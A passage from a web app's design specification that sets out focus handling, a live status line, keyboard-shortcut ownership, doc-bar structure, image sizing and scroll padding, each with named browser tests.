- **Only a swap moves focus.** Focus outside every swapped region is not touched: the operator may have moved on while the save was in flight. A region the fresh page lacks is not a swap: the existing stale-tile or reload paths apply.
|
||||
- *Falsifiable:*
|
||||
- `test_focus_returns_to_the_pressed_control` (browser): the flag toggle and a note's Add button are each pressed from the keyboard. After `booth:swapped`, each is focused again and `scrollY` is unchanged. A pick's Submit, once answered, folds away, and focus is on its "change answer" summary.
|
||||
- `test_focus_picks_the_same_one_of_two` (browser): with two same-key controls in one region, focusing the second and saving restores the second.
|
||||
- `test_focus_lands_on_the_region_when_the_control_is_gone` (browser): withdrawing a note by keyboard leaves focus on the region. A second save then keeps it there. It is never on `body`.
|
||||
- `test_focus_elsewhere_is_left_alone` (browser): focus moved outside the region mid-flight (the POST held by a route) stays where it was.
|
||||
- `test_focus_restore_does_not_scroll` (browser): the page scrolled away mid-flight stays where the operator scrolled it.
|
||||
- `test_focus_on_a_summary_survives_the_next_swap` (browser).
|
||||
- **One status line per page, where the operator can see it (G2).**
|
||||
- Every page that extends `base.html` renders exactly one `data-region="status"`, from `_status.html`. It sits inside no other `data-region`, so a swap never replaces it. The swap already skips `status`, and the script re-finds the line on every write. The embed's per-form `.bk-ask-status` lines are not `data-region="status"` and are outside this rule.
|
||||
- **The line floats**, fixed at the bottom centre of the viewport, above the fixed review stage (the viewer is z-index 50, the line 70). Every save now says something, and a line in the page flow moved the page under the reader: booth-dev's `test_a_flag_lands_in_place_and_every_region_catches_up` caught a 50px jump in this slice's gate. Floating, it moves nothing, and it is in view wherever the reader has scrolled, on the review and on compare included. The viewers' grids are unchanged.
|
||||
- **The covered letterhead.** On the review and compare, when the viewer is fixed (wider than 900px, the same breakpoint that makes it fixed), the letterhead (`header.topbar`) and the footer (`footer.foot`) leave the Tab order and the accessibility tree through CSS (`visibility:hidden` under `body.page-stage`). No script is involved. At 900px and below the viewer is in the page flow, and both stay live.
|
||||
- *Falsifiable:*
|
||||
- `test_one_status_line_per_page`: on the Desk, a gallery, the board, the review, compare, the marks page and a doc view, exactly one `data-region="status"`, inside no other `data-region`.
|
||||
- `test_the_status_line_is_visible_on_the_review` (browser, 1280): on the review and on compare, a forced failure's words are what `elementFromPoint` finds at the line's centre. The stage still takes the rest of the viewer, and no other row is taller than a quarter of it.
|
||||
- `test_a_save_does_not_move_the_page` (browser): a tile halfway down the gallery does not move while "Saving…" shows, nor after "Saved.", and the words are inside the viewport.
|
||||
- `test_the_covered_letterhead_leaves_the_tab_order` (browser): on the review and on compare, the topbar's and the footer's computed `visibility` is `hidden` at 1280 and `visible` at 390 (the negative control).
|
||||
- **The line speaks in time, and each message has one owner (G4).**
|
||||
- **The line is a live region that is always displayed.** No `hidden` attribute, never `display:none`. While empty it takes no space (`.status:empty` has no padding, margin or border). A live region that is present and displayed before its text changes is the precondition for a screen reader to announce the change.
|
||||
- **Every message the line can carry, with its tone and how long it lasts.** Every write sets the tone: it sets `data-tone="warn"` or removes the attribute. So a tone never outlives its words. The CSS colours only `warn`.
|
||||
|
||||
| when | words | tone | lasts |
|
||||
|---|---|---|---|
|
||||
| a save starts | Saving… | none | until that save's outcome is said |
|
||||
| a press on a form already in flight | Still saving… | none | until that save's outcome is said |
|
||||
| a save's swap lands | Saved. | none | cleared after 2s, if the line still holds this same "Saved." |
|
||||
| a save fails, and the page may reload (below) | Could not save in place — reloading to show what was saved. (today's words) | warn | until the reload, which follows after today's 900ms beat |
|
||||
| a save fails, and the page may not reload | Could not save in place. Reload to see what was saved; your other entries are still here. | warn | until that form's next save starts; another form's save that lands says it again |
|
||||
| a save lands, but the form it sent was changed while it flew | Saved. You changed it while it was saving, and that change is not saved yet: press again to save it. | warn | until the next save starts |
|
||||
| a save lands on a page that changed shape, and it may not reload | Saved. The page changed meanwhile; reload to see it. | warn | until the next save starts |
|
||||
| a save lands (204), the page GET fails, and it may not reload | Saved. Could not refresh the page; reload to see it. | warn | until the next save starts |
|
||||
| a batch in which the server refused at least one form (a "partial batch"), or whose refresh failed or found a changed page | today's batch words, unchanged | warn | until the next save starts |
|
||||
|
||||
- "Until the next save starts" is today's rule (`quiet()`): a new save clears the last one's words. A failure that stayed is the exception. It is said again after any other save lands, until its own form is pressed again or leaves the page, so an unrelated "Saved." never buries it.
|
||||
- A POST that failed did not save. A POST answered 204 did save, even when the page GET after it fails, and it is never reported as "could not save": that would invite a second press, which writes the note twice.
|
||||
- `aria-busy="true"` mirrors which forms are in flight, on the LIVE page. It is set at the press and re-synced whenever a save settles. A save settles in the same task as its swap, so a queued form whose node an earlier save's swap replaced is marked busy again before anything renders. It is removed when the save settles, on every path: success, failure, or a stale tile the swap never replaced. A form whose save failed and stayed is no longer in flight. A press on it is a new save. The queue settles a save on rejection too, so an unexpected throw cannot strand a form "Still saving…" (a hardening with no constructible failure today, so it has no falsifier).
|
||||
- *Falsifiable:*
|
||||
- `test_the_status_line_is_always_displayed`: no `hidden` on it in any page's markup; in the browser, its computed `display` is not `none` and its `visibility` is `visible`, empty and full.
|
||||
- `test_an_empty_status_line_takes_no_space` (browser): the computed height is 0.
|
||||
- `test_a_save_says_saving_then_saved` (browser, the POST held by a route): "Saving…" while held, then "Saved." with no tone, then empty after the beat.
|
||||
- `test_a_repeat_press_says_still_saving` (browser): the message stays until the held save lands, past 2s.
|
||||
- `test_a_new_save_is_not_cleared_by_the_last_ones_timer` (browser): "Saving…" started within 2s of a "Saved." is still there after the old timer fires.
|
||||
- `test_a_queued_save_keeps_saying_saving` (browser): the first of two queued saves lands, and the line goes back to "Saving…", not "Saved.".
|
||||
- `test_a_batch_speaks_too` (browser): a batch says "Saving…", then "Saved."; a press on a clean pick during it says "Still saving…".
|
||||
- `test_the_form_in_flight_is_busy` (browser): `aria-busy` is set while the save is held and gone after it settles, on both the success and the failure path.
|
||||
- `test_a_failure_then_an_edit_then_a_save` (browser, a request trace): a failure that stays, with warn tone past the beat; the operator edits the failed form and presses again; the new save starts ("Saving…", no tone) and lands ("Saved.").
|
||||
- `test_an_unrelated_save_does_not_bury_a_failure`, `test_an_edit_made_while_saving_is_not_called_saved`, `test_a_save_whose_page_would_not_refresh_says_saved` (browser).
|
||||
- `test_a_stale_tile_is_not_left_busy`, `test_a_queued_form_is_busy_on_the_live_page` (browser).
|
||||
- **Sensitivity floor:** no test here hears a screen reader. What is held is the precondition: a displayed live region whose text changes.
|
||||
- **Leaving with an unsent draft asks first (G13).**
|
||||
- A `beforeunload` guard asks when any in-place form on the page is dirty. "Dirty" is the script's `dirty()`: a control that differs from its server-rendered default. In the embed, it asks when any of our forms is dirty (`dirty()` there: against what the server last took).
|
||||
- Arrow, Space and Esc on the review and compare, film-strip clicks, the home chip, and a native submit of a form that is not in-place all leave by a full page load (`window.location.href`, a link or a POST). So the one guard covers them all.
|
||||
- **The in-place client never reloads over a draft.** It has two reloads: after a failed save (`fail`), and after a save whose fresh page changed shape (`refresh` on the one-form path). Each now runs only when every in-place form on the page is clean, except the one just sent, which must be unchanged since its press (its serialized fields equal the snapshot taken at the press). That keeps today's behaviour for the case it was built for: the reload reveals whether the write landed, and the only unsaved text is the text that was sent.
|
||||
- If anything else is dirty, including text typed into the sent form while it was in flight, it does not reload. It says the matching warn message from the table and stays, as the batch path already does.
|
||||
- A press inside the reload beat cancels the reload: that new save owns the page.
|
||||
- When it does reload, the guard does not ask. There is nothing on the page except the sent text, whose fate the reload reveals.
|
||||
- **The embed's own leaving does not ask.**
|
||||
- A press when another form of ours is dirty is the existing batch, unchanged: never a native submit, so there is no leaving.
|
||||
- A press when no other form of ours is dirty is the browser's native submit. The guard skips that form for the ONE navigation its submit starts. It asks again if a host handler cancels the submit after ours has run (checked once the event has been dispatched), or if the navigation does not replace the page (a stop, or a 204).
|
||||
- After a clean batch, the embed reloads. Nothing is dirty then, so the guard has nothing to ask about, and no disarm is needed.
|
||||
- *Falsifiable:*
|
||||
- `test_leaving_with_a_draft_asks` (browser): a typed note, then a film-strip click, raises a `beforeunload` dialog. So does ArrowRight. Dismissing it keeps the page and the text.
|
||||
- `test_leaving_a_clean_page_does_not_ask` (browser, negative control).
|
||||
- `test_a_saved_draft_no_longer_asks` (browser): after a save lands, leaving does not ask.
|
||||
- `test_a_failed_save_keeps_the_other_drafts` (browser): the POST fails (a route answers 500) while another note holds text. There is no reload, the other text is still there, and the line carries the stay message with warn tone.
|
||||
- `test_a_failed_save_keeps_text_typed_while_it_flew` (browser): the POST is held, more text is typed into the same form, then the POST fails. There is no reload, and the text is still there.
|
||||
- `test_a_changed_page_keeps_the_other_drafts` (browser): the same, for a save that lands while the page changes shape.
|
||||
- `test_a_draft_typed_during_the_beat_stays` (browser): the reload is due and a draft is typed in the 900ms before it. The reload is asked again at the beat, and it stays.
|
||||
- `test_its_own_reload_does_not_ask` (browser): a failed note, with nothing else dirty, reloads without a dialog.
|
||||
- `test_embed_submit_does_not_ask` (browser): the plain one-form submit in an embedded report navigates without a dialog.
|
||||
- `test_embed_a_cancelled_submit_is_guarded_again`, `test_embed_the_skip_covers_one_leave` (browser).
|
||||
- `test_a_resubmit_in_the_beat_is_not_reloaded_away` (browser).
|
||||
- The existing `test_a_failed_save_says_so_reloads_and_never_re_posts` holds unchanged: with nothing else dirty, the failure still reloads.
|
||||
|
||||
**Existing tests and rows this slice edits** (booth-dev's):
|
||||
- Six browser tests in `test_flow_browser.py` read the line's `hidden` state at seven sites. The line is never hidden any more, so `:not([hidden])` would match at once and read "Saving…".
|
||||
- Five waits now wait for the test's own words.
|
||||
- Two checks that the line "went quiet" now check what they meant: no warn tone (`test_pressing_a_clean_pick_during_a_batch_sends_nothing`), and the stale "Not saved" gone (`test_a_later_save_clears_a_stale_not_saved_line`).
|
||||
- Two `r2_submit_all.toml` rows guarded code this slice moved, and both went vacuous. They are re-anchored to the same failure in the new code:
|
||||
- "a new save does not clear the last one's words": `say()` no longer overwrites words already on the line.
|
||||
- "a batch whose refresh fails reloads": a direct `reload()`, since `refresh` no longer reloads and `fail()` now protects drafts on its own.
|
||||
|
||||
**Out of S5b:** the embed's own "Saving…". The embed's batch already has a per-form status line, and its one-form path is a page load. The in-place client is the one that goes quiet for seconds.
|
||||
|
||||
**Known costs, stated:**
|
||||
- A page that reads `document.activeElement` straight after `booth:swapped` sees the restored element. Nothing in the Booth listens for focus.
|
||||
- A fallback region keeps `tabindex="-1"` until the next swap replaces it, so a click inside it can focus it.
|
||||
- A region drawn with `display:contents` (a `.region-wrap`) has no box and cannot take focus. If a focused control inside one vanished, focus would be lost. None vanishes today: the wraps hold the booth's status badges and the blur-booth toggle, which re-renders under the same key.
|
||||
- `refresh(recs, keep)` keeps its `keep` argument, though it no longer decides anything: the callers decide. The call sites stay byte-identical for booth-dev's mutation anchors.
|
||||
- The 2s clear is a timer. Under reduced motion it is the same: it is the words that go, not an animation.
|
||||
|
||||
- **Folded from the heid contract review** (panel 4/4, thread `01M3MM7Y2GA4MQCBDJ4VTV92YJ`):
|
||||
- every status message now has one owner, one tone and a stated lifetime (the table above);
|
||||
- `aria-busy` ends when a save settles, including a failure that stays;
|
||||
- text typed into the sent form while it was in flight blocks the reload;
|
||||
- a tone is reset on every write;
|
||||
- focus identity carries an occurrence number, and a region node has a key of its own;
|
||||
- the script, not the server, sets the fallback `tabindex`;
|
||||
- the letterhead and footer are named nodes, tested on both pages;
|
||||
- the always-displayed rule is tested on computed style, with its sensitivity floor stated;
|
||||
- the embed's skip is checked at unload time.
|
||||
- **Folded from this slice's gate:** the line floats instead of sitting at the top of `<main>` or under the viewer's bar. In the flow, every save's "Saving…" moved the page (booth-dev's own test caught it), so the per-page placement and the viewers' extra grid row went away.
|
||||
- **Folded from the heid bug-hunt** (panel 4/4, thread `01M3MRTNTWEPJHTN4APRR81KH4`). These are the changes in the text above:
|
||||
- `aria-busy` is synced to the live forms, and it ends on every settle path (R1, 4/4);
|
||||
- a press inside the reload beat cancels it (R2);
|
||||
- the embed's skip covers one navigation, and a cancelled submit is guarded again (R3, 4/4);
|
||||
- a failure that stayed is not buried by an unrelated "Saved." (R4);
|
||||
- a 204 followed by a failed page GET is "Saved." (R8);
|
||||
- the queue settles on rejection (R9);
|
||||
- a summary has a key (R10);
|
||||
- an edit made mid-flight is not called saved (R12).
|
||||
- **Accepted as true today, and pinned** (`test_the_in_place_client_can_read_every_page`): no in-place form holds a control `dirty()` cannot read (R7), and no `data-region` nests inside another (R11).
|
||||
- **Reported to booth-dev, not changed here** (they predate S5b):
|
||||
- the embed's reload after a clean batch can discard text the operator typed into the HOST page, which `ourForms()` cannot see (R5, U3 behaviour);
|
||||
- `carry()` loses an edit that returns a control to its original default while the save flies, because it copies only controls that differ from their old defaults (R6, C3 behaviour).
|
||||
|
||||
## S5c — whose key it is, the doc bar, tile sizes, the rail's shadow, reveal names
|
||||
|
||||
The last of the interaction work: guidelines items G6, G7, G14, G15 and G17, plus booth-dev's note carried from S5b's gate (a refused batch buried by an unrelated save). Every S5b promise holds: the client never re-POSTs, saves are serialized, a batch never reloads, and focus survives a swap.
|
||||
|
||||
**INV-6 here.** The script builds no markup and renders no server state. It sets `tabindex="-1"` on the tile it moves the cursor to (S5b sets the same attribute on a fallback region; how the two meet is under "The grid cursor is real focus"), and it writes the reveal controls' glyph and word into spans the server rendered. Both are the script's own view state.
|
||||
|
||||
### G6 — a page's keys never take a key the focused element uses
|
||||
|
||||
**One rule, in one place.** `BoothKeys.theirs(e)`, defined in `base.html`'s `<head>`, answers "does this key belong to the focused element?" The grid (`booth.html`), the review (`view.html`) and compare (`compare.html`) each call it first and act only when it says no. Their own copies of the field check (`isEditable`, the tag test) and of the Space exceptions are removed. The field check lives on as `BoothKeys.isEditable`, which `test_the_zoom_view_does_not_navigate_away_from_a_note_being_typed` (booth-dev's structural guard) still finds on the review page.
|
||||
|
||||
It answers only WHOSE key it is. What a key then does stays each page's own: the grid's Enter and Escape rules below, the review's Space, compare's letters. `doc.html` keeps its one key (Escape) and its own field guard, unchanged. The helper says **yes** when ANY of these four cases holds (they are a union, so no case outranks another), and in no other:
|
||||
1. **A field owns every key, and a player every key but Escape.** The target is, or is inside, an `input`, `textarea`, `select` or an editable element; or a `video` or an `audio`, for any key but Escape. A player has no use for Escape outside fullscreen, where the browser takes it first, so Esc from a focused player still goes back (the review, compare) or clears the cursor (the grid).
|
||||
- The grid gains `select` and the players. Today an arrow on a focused tile video moves the cursor instead of seeking.
|
||||
- The review and compare gain every key but Escape from a player. Today only Space is left to it, so an arrow on a focused video navigates away.
|
||||
2. **A control owns Space.** The target is, or is inside, a `button`, an `a[href]` or a `summary`: Space presses it, follows it or opens it. Arrows and letters from a control still reach the page. booth-dev's review test presses 1:1 with the mouse and then → to move on, and that flow stays.
|
||||
- **Enter is not in the helper.** Only the grid binds Enter, and it takes Enter only from the page itself (below), which already leaves every control its own Enter. A clause for it here would be code no test could reach.
|
||||
3. **A stage that can pan owns the arrows and Space** while it has focus. The target is, or is inside, a `.vstage.can-pan`, and those keys scroll it.
|
||||
- Measured on the test Chromium (151): a 1:1 stage larger than its box sits in the Tab order between the ‹ and › arrows, and `focus()` takes. A mouse press does not focus it, so drag-to-pan followed by → still moves on.
|
||||
- Today → on a focused 1:1 stage leaves the page instead of panning.
|
||||
4. **A held Ctrl, Meta or Alt belongs to the browser.** All three pages already had this rule; it now lives in the helper.
|
||||
|
||||
- *Falsifiable:*
|
||||
- `test_a_player_keeps_its_keys` (browser): with a video focused, ArrowRight, ArrowLeft, F and Space change nothing on the review (no navigation, no POST) and nothing on the grid (no cursor). Escape from the focused video goes back to the grid. The negative control is in the same test: with focus back on the page, ArrowRight navigates, or moves the cursor.
|
||||
- `test_enter_on_a_control_does_not_open_the_cursor_tile` (browser): the cursor is set, focus moves to another tile's "+ note" summary, and Enter opens that summary and does not navigate. Nor does Enter from another focused node that is not the page (the rail, made focusable, stands in for one). Enter on the focused cursor tile opens its review (the positive control).
|
||||
- `test_a_focused_pannable_stage_pans_with_the_arrows` (browser): 1:1 on a large picture, the stage focused, ArrowRight scrolls it and does not navigate. Blurred, ArrowRight navigates.
|
||||
- Existing: `test_space_on_a_focused_review_button_presses_it_and_does_not_move_on`, `test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view` (compare), and the review's 1:1-then-→ flow in `test_flow_browser.py`.
|
||||
|
||||
**The grid cursor is real focus.**
|
||||
"The tile" below always means the tile element itself (`figure.item`), never a node inside it. The cursor visits every tile except a doc closed with its ✕ (`.is-closed`, `display:none`, which cannot take focus). **The cursor is an item, not a position:** the script holds the cursor tile's `data-item` (its rel) and finds its place again before every key and after every swap, so a doc closed since cannot shift the cursor onto a neighbour. A cursor whose tile is closed is no cursor.
|
||||
- **Moving the cursor focuses the tile.** The script sets `tabindex="-1"` on the tile it moves to, focuses it without scrolling, then scrolls it into view as today (`block:'nearest'`). Among tiles, only the cursor tile carries a `tabindex`: every move removes it from every other tile. The server renders none, so a mouse press can focus only the tile that is already the cursor.
|
||||
- **Focus that lands on a tile makes it the cursor**, whatever put it there. The case today is S5b's fallback after a swap, when the focused control vanished (a note's × withdrawn by keyboard): S5b sets `tabindex="-1"` on the fresh tile and focuses it, and that tile becomes the cursor, so it keeps its `tabindex` under the rule above. S5b's fallback on a region that is not a tile is not the grid's, and the grid never touches it. Focus on a control INSIDE a tile does not move the cursor: the cursor is a tile position, and a control is not a tile. So a focused tile is always the cursor, and the next arrow moves on from it.
|
||||
- **Enter opens the cursor tile's review only from the page itself:** the body, the grid, or the tile itself. From a control, inside the cursor tile or anywhere else, Enter is the control's own and the grid does nothing. It never fires from any other focused node either (an S5b fallback region, for instance).
|
||||
- **Escape clears the cursor.** When the cursor tile itself is the focused element, Escape releases focus to the page, so no focus ring is left behind without the reticle. Focus on a control is left where it is.
|
||||
- **The reticle is the cursor tile's focus mark.** `.item.is-cursor:focus-visible` draws no outline, since the reticle and the accent border already mark it. A focused tile without the cursor cannot occur, and if it did it would keep the house ring.
|
||||
- *Falsifiable:*
|
||||
- `test_the_grid_cursor_is_real_focus` (browser): after →, `document.activeElement` is the `is-cursor` tile and exactly one tile carries a `tabindex`. After → again, the next tile holds both. After Escape, no tile is the cursor and focus is on `body`. The focused cursor tile computes `outline-style: none`.
|
||||
- `test_focus_returned_to_a_tile_makes_it_the_cursor` (browser): a note's × on tile 5 is pressed from the keyboard. After the swap, focus is on tile 5 and tile 5 is the cursor, and → focuses tile 6.
|
||||
- Existing, unchanged: `test_an_arrow_after_a_group_jump_does_not_scroll_back`, `test_the_keyboard_flag_actually_submits`, and S5b's `test_focus_returns_to_the_pressed_control`.
|
||||
|
||||
- **`n` on a doc opens its fold too**, since a closed fold hides the note field with the body.
|
||||
- **Enter follows the tile's `view?f=` link, never a link that merely starts with "view".** A media tile's download link comes first, and for a file named `views.webm` its href starts with "view" too.
|
||||
- *Falsifiable* (folded from the heid bug-hunt): `test_the_cursor_skips_a_closed_doc`, `test_n_opens_the_note_on_a_closed_doc`, `test_enter_reviews_a_file_named_view` (a video named `views.webm` opens its review, and `viewer.zip`, which has no review, is not downloaded).
|
||||
|
||||
**Not in S5c: a switch to turn the letter shortcuts off** (WCAG 2.1.4). The letters act from anywhere except fields and players. A setting to disable them is a new operator-facing control, so it is reported to the operator and not built.
|
||||
|
||||
### G7 — the doc bar's controls leave its `<summary>`
|
||||
|
||||
A `<summary>` is one button to a screen reader, so the links, forms and ✕ inside it were read as one control, and a `<form>` is not valid inside one.
|
||||
|
||||
- **The structure.**
|
||||
- `div.doc-bar` is the bar, with the same look as today.
|
||||
- Inside it, `details.doc-fold` holds only its `summary.doc-sum`: the chevron, the number and the name.
|
||||
- Beside that sits `div.doc-tools`: open full page, download, blur, flag and ✕, the same controls with the same names.
|
||||
- The doc's body and its notes follow in `div.doc-inline`.
|
||||
- **Why the fold holds only its summary.** A closed `<details>` hides everything inside it but its summary, so tools inside it would vanish with the body, and a collapsed doc would lose its controls. Placing the tools beside the summary in the same row needs the summary's box outside the fold's content, which `::details-content{display:contents}` could do, but only in the newest browsers.
|
||||
- **The fold still works with scripts off.** `.item-doc:has(.doc-fold:not([open])) > .doc-inline{display:none}` hides the body and notes when the fold is closed. `:has()` is in every current engine. The bar and its tools stay.
|
||||
- **One row wide, the name first on a phone.** Wide, the fold takes the bar's free width and the tools sit at its end. The tools' vertical padding sets the bar's height, as the old summary's padding did around them, and the summary stretches to fill it, so its hit area is still the whole bar left of the tools. At ≤600px the bar wraps: the summary takes the full width, and the tools go under it (S3's claim, unchanged).
|
||||
- Measured: the bar renders pixel-identical to today at 1280 and 390, light and dark, open and closed (before/after shots of the same booth).
|
||||
- **A save carries the fold.** The fold holds no form, so S5b's `carry()` matches it by class and occurrence within its tile and keeps it open or closed across a swap, as it did the old `details`.
|
||||
- **Removed as dead:** the handler that stopped a click in the bar's forms from toggling the fold. The forms are no longer in the summary. The ✕ handler keeps working and still hides the tile.
|
||||
- **Known cost:** Chrome's find-in-page opens a closed `<details>` to show a match. A closed fold's body is now hidden by CSS outside it, so find-in-page does not reach a collapsed doc. An open doc is unaffected.
|
||||
- *Falsifiable:*
|
||||
- `test_the_doc_summary_holds_no_controls` (markup): no `a`, `button`, `form`, `input` or `textarea` inside `summary.doc-sum`, and each of the five controls is inside `.doc-tools`.
|
||||
- `test_a_closed_doc_keeps_its_tools` (browser, run once with scripts on and once with scripts off): a click on the summary hides the body (no rendered box), and the tools stay visible. With scripts on, the flag still lands in place.
|
||||
- `test_the_doc_bar_is_one_row_wide_and_two_on_a_phone` (browser): at 1280 the summary and the tools share a row; at 390 the tools sit below the name. Also S3's `test_doc_name_keeps_a_readable_line_on_a_phone`, with its row re-anchored.
|
||||
- `test_a_closed_doc_stays_closed_through_a_save` (browser): the fold is closed, another tile is flagged in place, and after the swap the fold is still closed.
|
||||
|
||||
### G14 — a gallery tile's picture carries its size
|
||||
|
||||
A lazy `<img>` with no size is a zero-height box until it loads. So a link to a tile far down the gallery lands where the boxes above it WILL be, not where they are.
|
||||
- Measured on the test Chromium, 40 portrait images, `#item-30.png`, 3 runs each, identical: without sizes the tile's top sits 44px below where the rail's offset puts it (103.4 against 59.6); with sizes it is on target (60.4).
|
||||
|
||||
**The rule.** A gallery tile's `<img>` carries `width` and `height`: the ORIGINAL picture's pixel size, oriented as the browser draws it (a 300×200 PNG is `300`×`200`, whether the tile loads the original or its thumbnail). The tile's CSS (`width:100%; height:auto`) uses the two only as a ratio, so the thumbnail needs no numbers of its own: Pillow's `thumbnail()` keeps the original's ratio, rounding aside, and the orientation rule is the one `ensure_thumb` applies (5–8 swap the numbers).
|
||||
- **Read from the file's header only.** Pillow's `open` reads the header, and nothing is decoded. The EXIF orientation is read only when the header already carries it (`"exif" in im.info`). Pillow's PNG `getexif()` otherwise decodes the whole image to look for a late eXIf chunk. Orientations 5–8 swap the two numbers, as `ensure_thumb` does, so a phone's portrait keeps its portrait box. The thumbnail keeps the original's ratio, so the numbers fit it too.
|
||||
- **A separate step, like `render_doc_body`:** `items.image_dims(booth, item)`, over `thumbs.drawn_size(path)`. `booth_items` and the `Item` record are unchanged, so the Desk, which calls `booth_items` for every booth, pays nothing. `build_gallery` adds `dims` to each tile's dict.
|
||||
- **Cached by the file's identity** (device, inode, size, mtime and change time, after an `lstat`), so a gallery render reads each header once while it is unchanged. The change time is there because `cp -p` over a file keeps its inode and restores its mtime, and a same-length replacement would keep the old size. No write can restore a ctime.
|
||||
- Measured on this box over the audit data copy (312 pictures, 3 runs): 243ms on a cold disk the first time, 15–16ms with the page cache warm, 2.5ms from the size cache.
|
||||
- **Opened safely.**
|
||||
- The identity is taken with `lstat`, never through a link.
|
||||
- The file is opened `O_NOFOLLOW`, so a planted link is refused.
|
||||
- It is opened `O_NONBLOCK`, so a planted FIFO reads as empty (not an image) instead of holding the render.
|
||||
- **Never raises.** `drawn_size` returns None for every failure: a link refused by `O_NOFOLLOW`, a file Pillow cannot open (an SVG, a broken PNG), a FIFO read as empty, any error. The None is cached for that identity like a size. A None renders no attributes, which is today's markup. The size only shapes the box before the picture loads. `aspect-ratio: auto w / h` gives way to the loaded picture's own ratio, so a wrong number costs a jump, never a distorted picture.
|
||||
- *Falsifiable:*
|
||||
- `test_tile_images_carry_their_drawn_size`: a 300×200 PNG renders `width="300" height="200"`. A JPEG stored 300×200 with orientation 6 renders `200`×`300`. A broken `.png`, an SVG and a symlinked PNG render no size.
|
||||
- `test_reading_a_size_decodes_nothing`: with `Image.load` made to raise, a PNG's size and a rotated JPEG's size are still read.
|
||||
- `test_a_planted_fifo_or_link_costs_its_size_and_never_hangs`: a FIFO with no writer returns no size within 3s, a link returns none, and the real file returns its size.
|
||||
- `test_a_size_is_read_once_per_version_of_the_file`: three reads open the file once, and a file rewritten in place is read again.
|
||||
- `test_a_file_replaced_in_place_keeps_no_stale_size`: the same inode, the same length and a restored mtime, read again.
|
||||
- `test_a_link_to_a_tile_lands_where_it_points` (browser): the measurement above, as a test. The tile's top is within 2px of the rail's bottom plus 12 once the page is idle.
|
||||
|
||||
**Measured, not changed.**
|
||||
- **`content-visibility:auto` on `.item`,** which the report proposed alongside the sizes. It fights the in-place swap. A swapped-in tile is a new node with no remembered size, so tiles off-screen collapse to the placeholder height. A flag far down the gallery then moved the page by 2929px, in 3 runs of 3. Without it the page moved 0px, again 3 of 3. The sizes fix the landing, which was the finding. A 270-tile gallery renders without it.
|
||||
- **The filmstrip, the tray and the Desk strip** draw their thumbnails into fixed boxes (`object-fit:cover`), so a size there moves nothing.
|
||||
|
||||
### G15 — nothing reached by Tab sits under the sticky rail
|
||||
|
||||
The rail sticks to the top of a gallery page. `.item{scroll-margin-top}` kept a TILE clear of it on a jump or a cursor move, but a control inside a tile, reached by Tab, scrolled only until it touched the viewport, which is under the rail.
|
||||
- Measured: a tile's flag button reached by Tab sat at 19.6px, under the rail's bottom at 47.6px.
|
||||
|
||||
- **The page, not the tile, keeps the rail's height clear.** `html:has(.rail){scroll-padding-top:calc(var(--rail-h,120px) + 12px)}` REPLACES the two `.item{scroll-margin-top}` rules.
|
||||
- `--rail-h` is the rail's measured height, set by the script. With scripts off it is unset, and the fallback stands in for it: 120px, or at ≤480px the measured worst case, 205px. The 12px is added either way, so scripts off computes 132px, or 217px on a phone. These are the old rules' numbers.
|
||||
- Scroll padding applies to every scroll-into-view: a Tab, a fragment jump, `scrollIntoView` from the cursor.
|
||||
- The two cannot stay together, because they add: a tile would land two rails down.
|
||||
- `--rail-h` is still measured by the same script; only its consumer moves. The script now finds the live rail on every measure and moves its observer onto it. The rail is a region (`filters`) that each save replaces, and the old script watched the first node. What triggers the new measure is the observer's own rule: a removed element reports a zero size, so the old rail's removal calls the measure, which then finds its replacement. A `booth:swapped` listener was tried alongside and removed: its row stayed green, because the observer already covers it. Measured before: after one flag, `--rail-h` read `0px` against a live 48px rail, so the padding collapsed to 12px.
|
||||
- The padding is carried as `--rail-pad`, and a control IN the rail (`.rail :is(a,button,input,summary)`) takes the same value as a negative `scroll-margin-top`. The rail is sticky, so its own controls are never under it. Measured before: every Tab between two group links of the stuck rail scrolled the page up 357px, in 3 runs of 3 (0px on the base).
|
||||
- Pages without a rail get no padding.
|
||||
- **Comments that name the consumer** (base.html's `.rail` note and the `--rail-h` script, and booth.html's `fromViewport` note) now say `scroll-padding-top`. The cross-file contract on the `.rail` class is unchanged.
|
||||
- *Falsifiable:*
|
||||
- `test_a_tabbed_control_does_not_hide_under_the_rail` (browser, 1400×700): the measurement above, as a test. The Tab-focused flag button's top is at or below the rail's bottom.
|
||||
- `test_a_jump_lands_just_below_the_rail` (browser): the tile's top is at the rail's bottom plus 12, ±2. It guards against a doubled offset.
|
||||
- `test_pages_without_a_rail_have_no_scroll_padding` (browser, the negative control): the Desk and the review compute `scroll-padding-top: auto`.
|
||||
- `test_the_rail_height_follows_the_live_rail_after_a_save` (browser): after an in-place flag, and again after a resize wraps the rail taller, `--rail-h` equals the live rail's height.
|
||||
- `test_tab_between_rail_links_does_not_move_the_page` (browser).
|
||||
- `test_the_rail_padding_falls_back_with_scripts_off` (browser, scripts off): a gallery computes 132px at 1400 wide and 217px at 390.
|
||||
|
||||
### G17 — a reveal control's name is the words on it
|
||||
|
||||
The reveal controls flip their words: 👁 reveal ↔ 🙈 hide on a tile, the review stage, a compare side and a doc page, and 👁 reveal all ↔ 🙈 blur again (r2b's ruled copy). Two defects follow.
|
||||
- A tile's, the review's and compare's reveal carried a fixed `aria-label="reveal …"`. After the flip the screen said "hide" and the name said "reveal", which fails WCAG 2.5.3 (label in name).
|
||||
- The emoji were read aloud.
|
||||
|
||||
The report's fix was "a constant label plus `aria-pressed`". That needs constant visible words too (2.5.3), and r2b rules those words. So the name follows the words instead:
|
||||
|
||||
- **No `aria-label`** on any reveal control (`.reveal` on a tile, `#vreveal`, `.cmp-reveal`, `#docreveal`, `[data-reveal-all]`). The name is the visible words.
|
||||
- **The glyph sits in its own `aria-hidden` span**, and the word in its own span. The script writes those two spans, never the button's whole text. It hides the "— blur is cosmetic" tail when revealed with the `hidden` attribute, so the tail leaves the name too: "reveal all — blur is cosmetic", then "blur again". (Below 600px CSS already hides the tail, and the name is the shorter words on screen.)
|
||||
- **A control that reveals one item carries that item's name as `.sr-only` text:** the file on a tile, the review and a doc page, and the side's letter on compare. The name is "reveal a.png" before the flip and "hide a.png" after. S5a's per-item names are kept.
|
||||
- **Reveal all carries no `aria-pressed`.** Its words already say which state it is in. A toggle whose label changes must not also announce a pressed state (WAI-ARIA APG, toggle button), because a screen reader would say "blur again, pressed". Its "on" look moves from `[aria-pressed="true"]` to `.reveal-all .reveal-all-btn`, which reads the one class on `<html>` that IS the state.
|
||||
- *Falsifiable:*
|
||||
